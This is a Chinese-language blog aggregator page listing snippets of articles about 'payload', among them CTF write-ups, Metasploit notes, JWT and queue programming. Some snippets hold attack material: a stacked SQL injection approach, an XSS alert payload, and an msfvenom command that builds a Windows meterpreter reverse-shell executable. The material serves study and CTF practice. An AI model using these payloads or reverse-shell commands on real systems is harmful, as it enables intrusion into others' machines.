本题主要考察堆叠注入，算是比较经典的一道题，在i春秋GYCTF中也出现了本题的升级版 猜测这里的MySQL语句结构应该是： select * from words where id='$inject'; 构造Payload：用单引号+分号闭合前面的语句，插入SQL语句，再用注释符注释掉后面的语句即可 ...
分类：
其他好文 时间：
2020-02-29 00:31:11
阅读次数：
127
无锁环形队列 1.Ring_Queue在payload前加入一个头，来表示当前节点的状态 2.当前节点的状态包括可以读、可以写、正在读、正在写 3.当读完成后将节点状态改为可以写，当写完成后将节点状态改为可以读 4.Ring_Queue使用时参照生产者消费者模型，生产者生产（写）一个可用节点，消费者 ...
分类：
编程语言 时间：
2020-02-28 13:52:22
阅读次数：
83
2019/9/10 报告doc在文件里面 1. 发现可疑流量 A.分析流量，导出字节流 B.得到网页代码，发现需要执行的代码需要解密（加密的字符串部分太长了，就省略了）： C.通过在网页下断点，将解密后的代码从提取出来，并做修饰（payLoad太长被省略）： 很明显能看出来，这是在进行堆喷射！应该是 ...
分类：
其他好文 时间：
2020-02-26 21:01:01
阅读次数：
110
Msfconsole中set payload命令最新改进为了方便用户的输入，Msfconsole改进了set payload命令的输入。在执行set payload命令时，可以使用三种前缀，分别是/payload、payload、和/。或者，不使用任何前缀，直接指定攻击载荷路径即可。其中，可以执行的 ...
分类：
其他好文 时间：
2020-02-26 20:55:57
阅读次数：
98
https://xss.haozi.me/ 0x00 无任何限制 payload如下： <script>alert("liuxixi")</script> 0x01 先输入xxx发现就存在于<textarea></textarea>之前显示，那么我们需要把前后进行闭合，最后才会显示我们输入的内容。 ...
分类：
其他好文 时间：
2020-02-26 18:44:07
阅读次数：
69
一、payload 1.windwos msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Windows -f exe > shell.exe msfvenom -p ...
分类：
其他好文 时间：
2020-02-26 14:09:12
阅读次数：
84
[TOC] jwt 认证示意图 jwt 优势 1 没有数据库写操作，高效 2 服务器不存 token，低耗 3 签发检验都是算法，集群 jwt 认证算法：签发与检验 1. jwt 三段式：头 . 体 . 签名 （head.payload.sgin) 2. 头和体是可逆加密，让服务器可以反解除 use ...
分类：
其他好文 时间：
2020-02-25 19:58:14
阅读次数：
67
json import datetime import json res=json.loads(rs) print(datetime.datetime.now(),'D01', res['data']) http-get import requests url = "www.baidu.com" p ...
分类：
编程语言 时间：
2020-02-24 13:05:11
阅读次数：
57
两种方式 msf生成的payload分为正向和反向两种，正向需要正向连接，反向需要反向连接，反向是最常用的方式 正向连接指被攻击的目标机器通过正向的payload打开一个端口，攻击者的机器去连接目标机器的这个端口，从而建立连接 如果把攻击机器比喻成你，目标机器比喻成妹子，正向连接相当于你去追追妹子， ...
分类：
其他好文 时间：
2020-02-22 21:32:00
阅读次数：
376
Metasploit发布了版本5.0.76在该版本中，增加了以下模块：（1）增强了set payload命令的输入。用户在指定payload时，在payload名称前可以使用/payload、payload/和/前缀。（2）post/windows/manage/sshkey_persistence ...
分类：
Web程序 时间：
2020-02-22 15:30:06
阅读次数：
75
